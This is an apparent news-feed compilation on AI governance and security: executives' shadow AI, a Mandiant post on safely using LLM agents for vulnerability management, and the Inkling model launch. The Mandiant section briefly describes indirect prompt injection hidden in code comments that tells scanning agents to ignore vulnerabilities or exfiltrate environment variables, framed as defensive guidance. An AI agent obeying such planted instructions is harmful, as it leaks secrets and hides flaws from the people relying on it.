When executives use shadow AI, CISOs are in a difficult position, because governance only works when it’s modeled from the top, says Andy Nolan, VP of technology at TrustedTech.



“If senior leaders bypass approved AI tools or policies, it sends an implied message that speed matters more than security and compliance,” he adds. “Employees notice that behavior, and it becomes much harder to ask the rest of the organization to follow standards that leadership isn’t following themselves, first.”



Another major problem is that executives often work with highly sensitive information, including financial data, strategic plans, intellectual property, and customer information, he notes.



But CISOs and CIOs also can’t solve the problem by becoming the AI police in every situation, Nolan says, because their role is to help the business innovate safely.



“That requires executive alignment, clear governance, and providing secure AI tools that people actually want to use,” he adds. “When leadership embraces those solutions, the rest of the organization is almost sure to follow.”



All risk, no reward



The use of shadow AI by senior executives puts CISOs and CIOs in an impossible position, agrees Amit Maloo, CISO at AI procurement provider Ivalua. CISOs and CIOs are held accountable for the risk exposure but have no visibility into the problem, he says.



“When senior leaders use ungoverned AI tools for business decisions, those decisions still have consequences, such as financial commitments, contract reviews, and data sharing,” he adds. “But there is no audit trail, no permissions model, or no way to reconstruct what happened or why.”



Part of the problem is that approved AI options often don’t meet the needs of users, Maloo says.



“AI policies alone aren’t enough; organizations need to pair governance with usability,” he adds. “If approved AI tools don’t meet the pace of business, employees at every level, including leadership, will find their own solutions. Successful organizations will be those that make the secure path the easiest path.”



IT leaders can’t solve the problem with more governance, he notes. “Policies and restrictions slow shadow AI down, but they don’t stop it, especially when the people using it are senior enough to absorb the disciplinary risk,” Maloo adds. “What CIOs can do is focus on providing tools that grant users full access to the necessary systems and data, eliminating the need to choose between a capable but ungoverned tool and a safe but limited one.”



Speed over security



The TrustedTech data echoes a June report from employee monitoring software vendor Teramind, which found that more than two-thirds of C-level executives prioritize speed over security when using AI tools, notes Nik Kale, a principal engineer and product architect at Cisco, and member of the Coalition for Secure AI.



In addition, the Teramind report found that two-thirds of enterprise AI activity runs through personal accounts on platforms for which the company already owns licenses, he notes.



“People are paying for the governed version and using the ungoverned version of the same product, so the problem isn’t the tools,” he says. “The approved path is slower, buried in procurement, or disconnected from where the work actually happens, and speed wins every time under a deadline.”



The problem then isn’t with the AI tools, but with the friction involved, he says. “People aren’t going around the front door because the room is locked,” Kale adds. “They’re going around it because the front door is slower.”



In many cases, the use of shadow AI exposes a couple of shortcomings in enterprise processes, adds Matthew Scavetta, chief technology innovation officer at IT solutions provider Future Tech Enterprise.



Many organizations don’t do a good job of making employees aware of the AI tools available to them, he says, and many organizations don’t offer training on the sanctioned applications, which drives users to pick products they are familiar with.



“If you don’t solve problems for people quickly or make people aware of which tools they can use safely, they will find a workaround,” he adds. “AI tools are no different than anything else.”



Shadow AI use by executives puts IT leaders in an incredibly difficult position, he says.



“CIOs, in particular, are under more and more pressure each year to keep up with what’s possible as tech influencers keep preaching about the potential of these tools,” Scavetta says. “CEOs and board members are constantly getting swept up in the hype; meanwhile, there are more and more case studies coming out showing how little ROI some organizations have realized. It’s a never-ending game of balancing possible with practical.”



Do Face Masks Help With Wildfire Smoke? Yes, But More Is Needed
Thu, 16 Jul 2026 22:46:20 +0200
As wildfire smoke threatens air quality and safety for millions, here’s your playbook to keep your family safe from the damaging effects of smoke.


Apple Increases Vapor Chamber Orders for Upcoming Foldable iPhone
Thu, 16 Jul 2026 18:43:36 +0200
There is a lot of heat inside a modern smartphone. Apple knows this, and it is reportedly taking steps to cool things down for its future devices. Recent reports from the supply chain show the company is ordering a lot more vapor chambers. These cooling parts are essential for keeping high-end devices from overheating, and this sudden increase hints at major hardware changes coming to the iPhone lineup very soon.



New cooling components point directly toward a foldable design



A vapor chamber is a flat piece of metal that spreads out heat so a phone does not get too hot. This tech is already common in Android devices, but Apple has been slower to adopt it across its entire lineup. Now, suppliers are seeing a big bump in requests. Industry experts believe this is tied to the long-rumored foldable model.



Foldable phones have very little space inside, and they pack screens that generate a ton of heat. Getting the temperature under control is a big hurdle. Adding more vapor chambers is a clear sign that the company is finalizing the internal layout for a device that folds. While we might not see it until the release of the iPhone 18 Pro or iPhone 18 Pro Max, the supply chain moves years in advance.



Upcoming premium models might also get better heat management



The foldable is not the only device that needs better cooling. Rumors also suggest that the upcoming iPhone 17 Pro could use this technology to handle faster processors. When a phone runs high-end games or captures big video files, the chip works overtime. A good vapor chamber keeps the battery safe and stops the screen from dimming.



There is also talk about a super-thin iPhone Ultra model down the road. Thinner phones have a harder time getting rid of heat because everything is packed so tightly together. By securing a massive supply of vapor chambers now, Apple is making sure its next generation of premium devices can run complex tasks without burning your hands.



Apple never confirms its hardware plans until it steps on stage. However, following the money in the supply chain often paints a very accurate picture. A massive order for cooling parts means thinner bodies and more demanding screens are definitely on the way.


Top 10 Firewall Solutions Setting New Cybersecurity Standards in 2026 
Thu, 16 Jul 2026 18:41:32 +0200
The firewall category is reinventing itself faster than at any point since NGFW arrived and 2026’s leaders aren’t just shipping better boxes, they’re redefining what “firewall” means. Palo Alto Networks is setting the bar for AI-driven inline prevention, Fortinet for hybrid mesh execution, and HPE Juniper for the quantum-safe era, while Zscaler and Cloudflare are proving the most consequential firewall of all might be no appliance whatsoever. Here […]
The post Top 10 Firewall Solutions Setting New Cybersecurity Standards in 2026  appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.


Top 10 Firewall Solutions Setting New Cybersecurity Standards in 2026
Thu, 16 Jul 2026 18:41:19 +0200
The firewall category is reinventing itself faster than at any point since NGFW arrived and 2026’s leaders aren’t just shipping better boxes, they’re redefining what “firewall” means. Palo Alto Networks is setting the bar for AI-driven inline prevention, Fortinet for hybrid mesh execution, and HPE Juniper for the quantum-safe era, while…
Read more →
The post Top 10 Firewall Solutions Setting New Cybersecurity Standards in 2026 appeared first on IT Security News.


Demystifying AI Exploits: A Blueprint for AI-Assisted Vulnerability Management
Thu, 16 Jul 2026 16:23:24 +0200
Written by: Jules Czarniak

Introduction 
As highlighted in the Mandiant M-Trends 2026 report, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. 
To keep pace, many security teams are exploring how to integrate large language model (LLM) agents into their codebases, development environments and continuous integration and continuous delivery (CI/CD) pipelines for automated vulnerability discovery and remediation. However, deploying privileged artificial intelligence (AI) agents without mature integration processes introduces new architectural risks. 
In response to customer inquiries about how to safely integrate AI capabilities into vulnerability management workflows, this blog provides actionable guidance from Mandiant Consulting about how to establish operational guardrails for AI assisted vulnerability management, including several detailed scenarios. What each of these examples show is that security teams can accelerate workflows with AI while also upholding the structural integrity of their environments. We suggest that combining AI capabilities with deterministic controls and human intelligence in strategic ways maximizes benefits and reduces risk. 
Establish Operational Guardrails to Safely Deploy AI Agents
To safely adopt advanced AI capabilities without introducing unpredictable failures into deployment pipelines, organizations should ground their approach in established industry standards. While guidelines like the NIST AI Risk Management Framework (RMF) and the OWASP Top 10 for LLMs provide comprehensive baselines for identifying risks, operationalizing these controls requires a structural blueprint.
Frameworks like Google’s Secure AI Framework (SAIF) and Google’s approach to secure AI Agents provide a practical path forward, demanding that organizations extend existing deterministic controls directly into the AI execution environment. When deploying AI agents, security teams should navigate specific operational and structural risks:


Pre-agent data security and Defense-in-Depth: Agents should not be able to access personally identifiable information (PII), protected health information (PHI), or other sensitive data. Organizations should enforce data security before the prompt reaches the model. This includes strictly using non-production environments populated with synthetic data for testing. For production, security teams should deploy a hybrid defense-in-depth model. This includes Layer 1 deterministic policy engines acting as chokepoints, alongside Layer 2 reasoning-based defenses like specialized guard models (such as Model Armor or similar provider-agnostic guardrails) to filter out sensitive data and block malicious prompt injections before they reach the agent layer. Crucially for vulnerability discovery, security teams should treat the codebase itself as an untrusted input. Threat actors can embed indirect prompt injections within source code comments or third-party dependencies (e.g., hidden instructions telling the agent to ignore vulnerabilities or exfiltrate environment variables), making input sanitation a requirement even for internal scanning.


Cloud provider limitations and zero data retention (ZDR): Many cloud and LLM providers block or throttle automated offensive security probing by default to prevent abuse. Organizations should establish clear rules of engagement and authorized testing agreements to navigate acceptable use policies. Furthermore, organizations should enforce strict zero data retention (ZDR) agreements with their LLM providers to guarantee that proprietary code and discovered vulnerabilities are never used to train external models.


Workload isolation: Agent workloads should execute in strictly isolated, unprivileged containers with dynamically limited privileges. By relying on robust sandboxing to prevent privilege escalation, if an agent hallucinates a destructive command or is hijacked via prompt injection, the blast radius remains contained.


Red Teaming: Before deploying autonomous vulnerability scanners that can dynamically spin up sandboxes and execute code, organizations should subject the AI agents themselves to human-led red teaming as part of comprehensive assurance efforts. This validates the agent's resilience against jailbreaks, recursive logic loops, and complex prompt injections, ensuring the security tooling does not become the attack vector.


Least-Privileged Machine Identities and Human Controllers: While workloads should be isolated, agents inherently require privileges to generate pull requests and commit code. Security teams should ensure these agents operate under distinct, strictly scoped machine identities that tie back to human controllers to ensure accountability and user consent. Organizations should use short-lived, just-in-time (JIT) tokens bound exclusively to the specific repository and branch under review. This enforces the principle of limited agent powers and ensures that even if an agent’s container is compromised via prompt injection, the threat actor cannot pivot to modify adjacent enterprise codebases.


Supply chain resilience for skills: As developers augment AI with third-party skills and model context protocol (MCP) servers, security teams should treat these integrations as untrusted supply chain components. MCP plugins introduce the risk of supply chain poisoning, where a previously benign integration is silently updated with malicious dependencies. Additionally, security teams should evaluate the underlying agent orchestration frameworks themselves (e.g., LangChain, AutoGen) for inherent vulnerabilities, such as session memory poisoning or recursive loop hijacking.


Toxic flow analysis (TFA) and Observable Actions: The objective of TFA is to monitor data paths at runtime, ensuring agents do not exfiltrate sensitive internal context to unvetted external endpoints. Agent actions, inputs, reasoning, and outputs must be fully observable and transparently logged. While implementing dynamic taint tracking for LLMs remains a complex architectural challenge, organizations should clearly separate this runtime observability from static supply chain controls. Integrating threat intelligence to hash and vet incoming agent tools provides a necessary baseline for verifying integrity before deployment. However, because static controls cannot address behavior post-deployment, mitigating data exfiltration ultimately requires active runtime monitoring and secure, centralized logging to trace and restrict the actual flow of data.









  
    
      
  

    

      
      
        
        
        
        
      
        Figure 1: Visual representation of an isolated AI agent environment using SAIF mechanisms
      
    

  
      
    
  





By operationalizing these tools within frameworks that demand verifiable integrity and structural resilience, organizations can safely bridge the gap between AI velocity and enterprise defense.
The need for human-led threat modeling
While LLMs excel at identifying syntax patterns, source code itself rarely contains the full picture of unwritten business intent. Some organizations attempt to solve this by connecting LLM agents to internal wikis, design documents, and issue trackers using retrieval-augmented generation (RAG).
While RAG gives the model access to external business context, it is not a perfect fix. Corporate documentation is frequently stale, contradictory, or incomplete. An AI agent might retrieve an outdated architecture diagram and confidently hallucinate a secure path that no longer exists in production. Because LLM agents struggle to resolve conflicting, undocumented human assumptions, human-led threat modeling remains a critical security control across both legacy applications and modern agent workflows.
Security teams should apply threat modeling during both the pre-build system design phase to establish a secure foundation, and during post-build architecture reviews. While an AI agent might successfully identify a poorly configured internal endpoint locally, a human threat modeler asks the structural question: why does that microservice possess broad database read permissions in the first place? 
Identifying architectural vulnerabilities requires reasoning about business risk, data sensitivity, and operational constraints. To structure this process, organizations can use industry frameworks like PASTA (Process for Attack Simulation and Threat Analysis) or service offerings like the Mandiant Threat Modeling Security Service to map trust boundaries, uncover structural design flaws, and prioritize compensating controls. Securing fundamental architecture through human oversight is a necessary component when relying on automated agents to find bugs in a poorly designed system.
Once these AI agents are safely sandboxed, as guided by SAIF, and the architecture is verified through threat modeling, organizations can typically apply them to two different problem spaces: Enterprise Vulnerability Management (to assist in managing the volume of known CVEs in commercial off-the-shelf (COTS) software and infrastructure) and Product Security (to identify vulnerabilities in 1st-party (1P) code).
Track 1: Enterprise Vulnerability Management
Foundational security and discovery 
While the second track of this post explores how AI agents can uncover complex zero-days in custom code, organizations should manage the scale of enterprise infrastructure in tandem with these AI deployments. Even as new AI capabilities dominate headlines, organizations should still address foundational security challenges, such as secrets sprawl, unmanaged service accounts, missing FIDO2 MFA, and legacy VPN concentrators. Although vulnerability exploitation was the primary initial infection vector in intrusions Mandiant investigated last year, threat actors consistently rely on missing foundational controls and unpatched edge devices to secure and escalate their foothold after exploiting a vulnerability.
Furthermore, AI cannot replace foundational visibility. As security teams deploy AI agents, they should simultaneously close these tactical entry points by maximizing dynamic discovery capabilities like External Attack Surface Management (EASM), Cloud Security Posture Management (CSPM), and Continuous Threat Exposure Management (CTEM). In hybrid and cloud environments, tools like Wiz can be used to map this initial footprint.
Risk-based vulnerability management 
Vulnerability management teams are already overwhelmed by the current volume of findings generated by traditional scanners. As organizations scale dynamic discovery tools, such as EASM, CSPM and CTEM, alongside automated AI agents, this influx of findings will compound the problem. To manage this influx, telemetry from these diverse discovery methods must first be normalized and deduplicated. This normalized data serves two purposes: it feeds directly into the risk engine, and it acts as a live overlay to correct stale records in the configuration management database (CMDB). By evaluating the deduplicated vulnerabilities alongside this newly updated asset context and frontline threat intelligence, the RBVM engine calculates a custom risk score that allows security teams to dynamically prioritize remediation.
A mature RBVM methodology calculates a customized risk score on a 0 to 100 scale using a weighted average. A sample formula for calculating this risk-based score is:
Final Score = (W_1 * S_vuln) + (W_2 * S_asset) + (W_3 * S_threat)
The variables and weights (W) are customized to the organization's risk appetite (for example, 0.20 for vulnerability, 0.40 for asset, and 0.40 for threat, summing to 1.0), while the underlying variables (S) are scored on a 0 to 100 scale and defined as follows:


Vulnerability severity (S_vuln): The inherent technical severity of the flaw. This is calculated by taking the CVSS Base Score (which natively accounts for confidentiality, integrity, and availability impact) and multiplying it by 10.


Asset context (S_asset): A combined metric of exposure and data sensitivity. Scores range from 100 for internet-facing assets holding customer data, down to 25 for internal-only assets with no sensitive data. To translate this impact into monetary terms for non-technical stakeholders, organizations can incorporate Factor Analysis of Information Risk (FAIR) principles into this metric. However, this approach requires highly accurate, continuously updated financial data that many enterprises struggle to maintain at scale.


Threat context (S_threat): The real-world urgency of the vulnerability. Scores range from 100 if actively exploited by threat actors relevant to the organization's profile, 75 if a proof-of-concept exists or if it is a vulnerability class easily exploited by autonomous AI agents, down to 25 if the exploit is theoretical and highly complex. Organizations should also map the Exploit Prediction Scoring System (EPSS) probability percentage directly into this variable. This allows the threat score to automatically scale up or down as real-world exploitation telemetry shifts, aligning static vulnerability data with active threat intelligence.


An asset's customized risk score should directly influence internal remediation service-level agreements (SLAs), unless external compliance-driven mandates, such as CISA Binding Operational Directives (BODs), or relevant equivalents, override internal prioritization. A risk-driven and threat-intelligence-driven vulnerability prioritization methodology will help organizations focus resources on managing and mitigating the most critical security vulnerabilities first. This is an area where LLMs can support the vulnerability management process, particularly by helping teams synthesize unstructured threat intelligence to surface relevant risk contexts more efficiently. Enforcing strict SLOs for patching, while requiring formal risk acceptance documentation for any patching exceptions, will help reduce the number of vulnerabilities available to threat actors and increase the visibility of outstanding risks across the organization. Furthermore, organizations should integrate RBVM data directly into their security orchestration, automation, and response (SOAR) platforms for automated alert enrichment.







  
    
      
  

    

      
      
        
        
        
        
      
        Figure 2: Integration points of a risk-based vulnerability management (RBVM) program.
      
    

  
      
    
  





Containment and Observability
Modern architecture blueprints must prioritize attack surface reduction under the assumption that vulnerabilities will inevitably be exploited. Moving away from traditional perimeter defenses, organizations should align with zero trust principles, ensuring that security boundaries are established around every asset, workload, and identity.
A component of this alignment is the implementation of strong authentication principles. Organizations should eliminate implicit trust by enforcing continuous, context-aware authentication and authorization. Utilizing Zero Trust Network Access (ZTNA) solutions, such as Identity-Aware Proxies (IAP), shields critical management interfaces (e.g., SSH, RDP) and internal systems from direct internet exposure, granting access only to verified identities and compliant devices.
For public-facing applications and APIs, attack surface reduction involves deploying Layer 7 inspection at the load balancer or API gateway level. This hardening layer enforces strict schema validation, intercepting and neutralizing malformed inbound traffic and potential exploits before they can interact with internal application logic.
Securing the software supply chain is equally vital in modern blueprints, and organizations should align with frameworks like Supply-chain Levels for Software Artifacts (SLSA) across both dependency and build tracks. Security policies should mandate that third-party dependencies are routed through a centralized artifact repository equipped with automated curation services, such as Google Assured Open Source Software (OSS) or an equivalent solution, preventing untrusted code from entering the development lifecycle. Furthermore, maturing toward advanced SLSA build levels (e.g., SLSA level 3) through the implementation of isolation, ephemerality and reproducibility requirements via  ephemeral compute infrastructure for CI/CD runners reduces the likelihood of attacker persistence by ensuring environments are short-lived and automatically cycled.
To complement these pre-build controls, runtime observability should be established across all production workloads. This requires monitoring both infrastructure-level behavior and the specific runtime libraries actively executing in production, which surfaces true exploitable risk far beyond a static Software Bill of Materials. In tandem with monitoring workloads, organizations should secure how they authenticate by implementing workload identity federation. By removing static credentials and instead using short-lived tokens backed by strong cryptographic identity verification, organizations can reduce the risk of credential theft and unauthorized lateral movement.
Within the internal environment, microsegmentation should be enforced to break down flat networks into granular security zones. Routing application traffic through a Secure Access Service Edge (SASE) architecture integrates network routing directly with robust identity controls, rendering internal services completely invisible to unauthenticated users and containing threats to their initial point of entry.
Finally, automated containment and incident response within a zero trust framework must rely on deterministic, auditable tooling. Endpoint detection and response (EDR) platforms and SOAR playbooks should handle high-fidelity containment tasks through hardcoded execution logic. While AI tools accelerate triage and policy recommendation, actual execution capabilities must remain restricted to well-defined, pre-tested workflows to maintain total architectural predictability.







  
    
      
  

    

      
      
        
        
        
        
      
        Figure 3: Structural containment and observability architecture
      
    

  
      
    
  





Track 2: Product Security & Development (1P Code)
Deterministic and probabilistic tooling
Integrating LLM agents into vulnerability management and security workflows requires recognizing the differences between deterministic and probabilistic tooling. Traditional SAST and DAST tools utilize fixed methodologies to evaluate vulnerabilities through structural code parsing or definitive runtime observations. LLMs, however, evaluate source code by processing tokens simultaneously to calculate statistical and semantic relationships, rather than tracing deterministic execution tracks.
While techniques like Chain of Thought (CoT) prompting allow models to bridge this gap by decomposing complex code paths into intermediate reasoning steps, this process remains bounded by architectural limitations. Even when a model possesses a context window large enough to ingest entire repositories, it may experience attention degradation across long inputs, often failing to correctly weight intervening validation or sanitization logic within the prompt. For example, if a variable is tainted on line 10 but sanitized on line 500, attention degradation can cause the model to lose track of the sanitization logic. Furthermore, when enterprise codebases require chunking to fit within context limits, the resulting fragmentation may cause the model to lose track of end-to-end data flows.
Consequently, probabilistic engines are effective at uncovering localized, static anomalies, such as hardcoded credentials or outdated dependencies, but frequently misjudge complex vulnerabilities split across fragmented chunks or extended context windows. Notable exceptions occur when these probabilistic models are coupled with deterministic feedback loops. For instance, when analyzing C++ memory corruption, an LLM can be equipped with a test harness to iteratively execute code and definitively prove a crash. While these dynamic validation applications are detailed in subsequent sections, the baseline limitation for static analysis across standard enterprise codebases remains: models struggle to consistently evaluate dispersed logic.







  
    
      
  

    

      
      
        
        
        
        
      
        Figure 4: Deterministic SAST scanners vs. probabilistic LLMs
      
    

  
      
    
  





Binary and architectural oracles
Many security programs are moving toward agent workflows where an agent autonomously spins up a test environment and uses tools to execute payloads and verify its findings. This is a promising approach, but it is important to understand where it is most effective.
Agent workflows perform well against bug classes with binary and observable oracles, meaning the system provides an objective, 'crash or no crash' feedback loop. For example, if a model is hunting for memory corruption in a C++ kernel, a successful exploit is undeniable: the payload executes, and a resulting crash definitively proves the vulnerability. This explains why the industry is currently seeing a surge in AI-discovered vulnerabilities across memory-unsafe targets like web browsers and operating systems.
However, enterprise software is heavily dominated by vulnerabilities that require architectural oracles for validation. Vulnerabilities like authorization bypasses, complex business logic flaws, and indirect server-side request forgeries require an understanding of business context and cross-service trust boundaries. If an agent's payload fails to produce a clear outcome, it can't reliably distinguish whether the vulnerability is a hallucination or if it simply constructed the payload incorrectly. An agent's malformed payload might even crash an unrelated background process and cause the model to hallucinate a success and report a false confirmation. Complex enterprise architecture contains unwritten business intent that a probabilistic engine can't inherently know.







  
    
      
  

    

      
      
        
        
        
        
      
        Figure 5: Evaluating vulnerabilities against binary vs. architectural oracles
      
    

  
      
    
  





Targeted deployment and human impact
Organizations adopting LLMs for vulnerability discovery face a massive staffing challenge. LLMs can generate findings significantly faster than human engineers can triage them. If every LLM-generated alert requires manual review, security teams will quickly face burnout and/or suffer alarm fatigue.
Rather than indiscriminately pointing agents at all available codebases and risking an influx of unverified output, security teams need a selective deployment strategy. Mature programs should maintain SAST and DAST for baseline hygiene and deterministic rule enforcement, and reserve intensive agent audits for high-impact components with clear binary oracles.
Organizations can prioritize agent audits on systems where the technology's strengths align with the broader risk profile:


Memory-unsafe codebases: Legacy or high-performance components written in memory-unsafe languages such as C, C++, or Assembly are strong candidates for LLM audits. These languages are susceptible to memory corruption flaws, such as buffer overflows and use-after-free conditions. Because these vulnerabilities trigger definitive failure states like segmentation faults, they work well with automated sandboxes where agents can compile the code with memory sanitizers and write proof-of-concept inputs. This approach is also effective for auditing the native extensions where safe languages call unsafe internal libraries, such as Python C extensions or the Java Native Interface (JNI).


Systems highly exposed to outside content: First-party data ingestion pipelines, custom API gateways, or proprietary edge proxies. A prerequisite here is direct access to the source code, this strategy is strictly for internally developed or fully open-source codebases where the organization can inspect the logic. Because these systems directly parse untrusted internet traffic, targeting their source code for LLM-driven audits yields the highest risk-reduction ROI.


Shared internal libraries and utilities: Core serialization/deserialization packages, common utility functions, and custom middleware wrappers (such as internal message-queue parsers) maintained in-house. Because the enterprise owns the source code for these shared building blocks, agent tools can easily hook into them within automated test harnesses to fuzz inputs and catch low-level logic or parsing bugs with high fidelity.


Foundational security boundaries: Internally developed centralized authentication services, custom OAuth providers, and internal credential brokers. While testing complex identity boundaries generates higher logic-based noise, having full access to the source code allows teams to pair agents with deterministic checks to safely triage findings, given that the blast radius of an authentication failure justifies the human effort.


To filter the noise generated by LLMs, organizations should establish routing rules. Require the agent to generate a fully reproducible, deterministic test harness (such as a compiled binary or a Python test script) that attempts to prove the exploit. This harness must execute automatically in an isolated, monitored sandbox. If the sandbox execution fails (due to a syntax error or a failed exploit), the ticket is discarded, sparing human resources. However, organizations should enforce execution timeouts and iteration limits on these test harnesses. Without hard limits, an autonomous agent attempting to prove a vulnerability can fall into an infinite loop: writing a script, failing, rewriting, and failing again, exhausting API token budgets and compute resources against a single dead-end vulnerability, creating significant cost overruns without advancing the security review. To manage these expenses, organizations should incorporate FinOps principles to balance the compute and API costs of LLM audits against the traditional expenses of manual triage.
However, a successful execution in the sandbox does not guarantee an actionable, high-priority risk. In practice, autonomous agents frequently produce working PoCs for genuine technical flaws that are ultimately irrelevant; or warrant a lower remediation priority within the context of the system's threat model. For example, the agent might successfully exploit an unreachable dead-code path, or trigger a bug that requires administrative access to execute and yields no further escalation of privilege. Therefore, a human engineer should be assigned to review and prioritize the ticket only if the sandbox registers a successful execution, validating environmental context, reachability, and true business impact as part of the review.
This workflow reduces the volume of alerts, but it is important to understand that the security team's workload does not disappear. The engineer's primary job shifts from manually hunting for the initial vulnerability to auditing the LLM-generated proof to ensure it represents a meaningful risk rather than an unexploitable or contextually irrelevant finding. Leadership should properly staff and train teams for this new reality. Deploying LLM agents does not remove the need for skilled practitioners; it redirects their workload toward complex validation. Equally important is training teams to recognize the risk of false negatives. A hyper-focus on filtering AI-generated noise can create a false sense of security. If an exploit relies on a novel technique or a zero-day vulnerability that was not heavily weighted in the model's training data, the agent will likely scan right past it in silence. LLMs augment discovery, but they do not guarantee exhaustive coverage.
When integrating LLMs into SAST triage pipelines, human engineers should also verify the broader architectural integrity. Prompting an LLM with specific SAST warnings can induce contextual narrowing, where the agent becomes hyper-fixated on resolving a localized syntax error and misses broader architectural flaws existing in the same file. Furthermore, if the agent's mandate extends beyond discovery to automated remediation (such as writing and proposing code fixes), this human-in-the-loop validation becomes critical to ensure the LLM does not inadvertently introduce new regressions or bypass intended business logic.







  
    
      
  

    

      
      
        
        
        
        
      
        Figure 6: Flowchart outlining the targeted LLM deployment and triage workflow.
      
    

  
      
    
  





Remediation and hardening
LLM-assisted code remediation
A primary goal of integrating large language models (LLMs) into the software development lifecycle is automated remediation. To achieve this, organizations are deploying these capabilities through two primary execution methods: directly within the integrated development environment (IDE) or as a centralized pipeline runner. Examples include CodeMender, although as of time of writing, it is not publicly available.
IDE-integrated method 
This method shifts remediation as far left as possible by operating as an active pair-programmer. Tools running continuous static analysis in the background of the IDE surface vulnerabilities directly to the developer via editor diagnostics like inline indicators or hover tooltips.


Localized scope: The developer can trigger the LLM agent to analyze the localized data flow and generate a targeted patch (such as implementing parameterized SQL queries). By constraining the LLM to localized, syntax-level fixes, the scope of the change remains contained. This prevents the agent from attempting sprawling, multi-file refactors that frequently break complex architectural logic.


Human-in-the-loop: The developer reviews the AI-generated patch before the code is committed.


Managing false positives: Local IDE agents allow developers to manage false positives dynamically. Suppressing alerts anchored to specific line text reduces alert fatigue and preserves developer trust.


CI/CD runner method 
The runner method executes asynchronously within the CI/CD pipeline to use an LLM to review committed code and automatically propose remediation.


Restricted execution and deterministic validation: Asking a centralized runner to automatically rewrite a complex, multi-file authorization flaw directly in the main branch introduces a high risk of breaking logic errors. To mitigate this, agents must be restricted to generating pull requests (PRs). Once a PR is generated, it must automatically execute standard regression suites alongside the deterministic test harness. By rerunning the initial PoC against the patched code, the workflow repurposes the exploit script as a validation oracle to prove the vulnerability has been remediated. A human engineer then reviews the PR to validate the architectural logic before merging.


In all cases security teams should define a clear boundary between the two methods rather than rely on a single approach. IDE agents provide immediate, syntax-level support. They catch and resolve low-complexity errors locally before developers commit code. Centralized CI/CD runners handle broader organizational baselines. They propose complex, repository-wide fixes for vulnerabilities that bypass local environments.
Post-deployment controls 
Even with human review and deterministic test harnesses, AI-generated patches can still introduce logic regressions in production. Organizations should implement strict post-deployment controls:


Automated rollbacks: Treating LLM-generated code with the same post-deployment scrutiny as any major architectural change ensures that if an unforeseen regression traverses the CI/CD pipeline, the environment can revert to a known good state.


Mitigating model drift: Relying on managed AI services introduces the ongoing risk of model drift. To prevent silent weight updates from breaking test harnesses, organizations need to pin specific model API versions to frozen releases. When a pinned version reaches its end-of-life, organizations will face a forced migration. Mitigating this pipeline fragility requires combining model pinning with deterministic regression suites.


Compliance and auditability: If an AI agent automatically closes a security ticket or generates a patch in the CI/CD pipeline, organizations should maintain immutable audit logs to satisfy frameworks like SOC 2 ,PCI-DSS, FedRAMP, and CMMC. National security deployments must also account for data sovereignty requirements. This logging should record the specific model version that proposed the fix, the deterministic test results that validated it, and the human engineer who approved the merge. Furthermore, because emerging legislation like the EU AI Act emphasizes human oversight for high-risk applications, security teams should carefully evaluate how autonomous remediation workflows align with these evolving global regulatory standards.









  
    
      
  

    

      
      
        
        
        
        
      
        Figure 7: Flowchart demonstrating the difference between local IDE AI remediation and centralized CI/CD pipeline remediation.
      
    

  
      
    
  





Conclusion
Leveraging LLMs in vulnerability management is a multi-layer solution: Integrating it requires separating workflows by layer. At the enterprise infrastructure level, Risk-Based Vulnerability Management (RBVM) and exposure management are necessary to process the volume of findings and configuration drift. At the product and code security level, LLM-enabled vulnerability assessment and remediation must operate alongside foundational deterministic controls, such as SAST and DAST, to audit custom, open-source, or third-party code.
Although LLMs can help manage technical debt and accelerate vulnerability discovery, they do not replace secure-by-design principles. The fact that LLM agents are proving exceptionally capable at identifying and exploiting localized memory corruption in memory-unsafe codebases, alongside other primary vectors, should serve as a wake-up call. 
As a long-term strategy aligned with NSA guidance on Software Memory Safety, organizations need to phase memory-safe languages into new internal development. LLMs are beginning to expand what is possible here by reducing the manual labor required for code migration. Converting existing C or C++ codebases to Rust has historically been unrealistic due to the large volume of engineering hours needed. While fully automated translation is not a turn-key solution, using LLMs to assist engineers with the bulk of the conversion can make these long-term migrations operationally viable. Beyond internal efforts, organizations should use procurement requirements to incentivize vendors to reduce their reliance on memory-unsafe languages and establish secure configuration defaults over time. Bridging the gap between AI velocity and enterprise defense means building an automated pipeline to manage the current backlog, while architecting systems where entire classes of vulnerabilities and misconfigurations are eliminated by design.
Acknowledgements
This analysis would not have been possible without the assistance of Google Threat Intelligence Group (GTIG) and other broader Google teams.


Thinking Machines Lab offers enterprises a US alternative in open-weight AI
Thu, 16 Jul 2026 13:33:34 +0200

		
					  
						




Thinking Machines Lab, the San Francisco startup founded by former OpenAI CTO Mira Murati, has released Inkling, its first general-purpose AI model. The launch adds another US-developed entrant to an open-weight market where Chinese developers produce several leading coding and reasoning models.



Inkling uses a mixture-of-experts architecture with 975 billion total parameters, of which 41 billion are active during processing. It supports a context window of up to 1 million tokens and was pretrained on 45 trillion tokens spanning text, images, audio, and video. Thinking Machines said it also trained the model for coding, tool use, and multimodal tasks.



The release follows the October 2025 launch of Tinker, Thinking Machines’ first product and an API-based platform for customizing AI models. Developers can fine-tune Inkling through the platform.



In a June 2026 assessment, AI model routing platform OpenRouter highlighted DeepSeek V4 Flash, GLM 5.2, MiniMax M3, and Nvidia Nemotron 3 Ultra as four notable open-weight models. Nemotron was the only US-developed model in the group.



Performance and developer access



Thinking Machines Lab’s benchmark table shows mixed results. Inkling scored 77.6% on SWE-Bench Verified, behind DeepSeek V4 Pro and GLM 5.2 but ahead of Nvidia Nemotron 3 Ultra. It also recorded 74.1% on MCP Atlas, 77.1% on BrowseComp with context management, and 79.8% on IFBench.



Thinking Machines said Inkling’s result used a bash-only harness, while the comparison figures were reported by the competing models’ developers.



The model includes a reasoning-effort setting that developers can adjust from 0.2 to 0.99. Thinking Machines said the setting allows users to balance performance against the number of generated tokens. In the company’s testing, Inkling matched Nemotron 3 Ultra’s Terminal Bench 2.1 score while generating about one-third as many tokens.



Developers can fine-tune Inkling through Tinker using context lengths of 64,000 or 256,000 tokens and test it through the Inkling Playground. The model is available through APIs from Together AI, Fireworks, Modal, Databricks, and Baseten. It is also supported by inference software, including SGLang, vLLM, TokenSpeed, llama.cpp, and Hugging Face Transformers.



Inkling’s full weights are available on Hugging Face as the original checkpoint and as a quantized NVFP4 checkpoint. Thinking Machines also previewed Inkling-Small, which has 276 billion total parameters and 12 billion active parameters. The company said it would release the smaller model’s full weights after completing testing.



Enterprise impact



Inkling’s differentiation lies in its open weights, multimodal capabilities, controllable reasoning, and integration with Tinker, rather than benchmark leadership, according to Biswajeet Mahapatra, principal analyst at Forrester.



